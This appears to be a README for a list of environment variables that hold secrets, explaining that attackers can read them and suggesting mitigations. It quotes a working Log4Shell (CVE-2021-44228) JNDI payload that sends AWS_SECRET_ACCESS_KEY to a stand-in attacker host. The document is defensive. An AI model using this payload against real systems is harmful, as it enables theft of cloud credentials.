Awesome list of secrets in environment variables Awesome

📝 Description

List of secrets, passwords, API keys, tokens stored inside a system environment variables.

An environment variable is a variable whose value is set outside the program, typically through functionality built into the operating system or microservice.

Many developer documentations recommends storing secrets inside an environment variable, but is it the best way to keep secrets?

The attacker can read values inside system environment variable by using exploits:

  • CVE-2021-44228 JNDI log4j (JAVA) (Read more...)

    ${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

    Get AWS_SECRET_ACCESS_KEY or return NO_EXISTS

  • CVE-XXXX-XXXX Web browser attack (Writeup/POC coming soon to my Github - Follow me on Github and Twitter 😉

  • and much more...

Because of that I created, a list of secrets in environment variables to help secure software.

Some of practices to avoid leak of secrets stored in environment variables is to:

  • Block/notify on WAF when the request includes system environment variables
  • Store in system environment variable path to a config file, instead of clean value
  • Encrypt values inside environment variable
  • Use different way to store secrets 🤓

Environment variables

You can check your system environment variables:

  • Windows execute in PowerShell: dir env:
  • Linux/MacOS execute in terminal: printenv or env
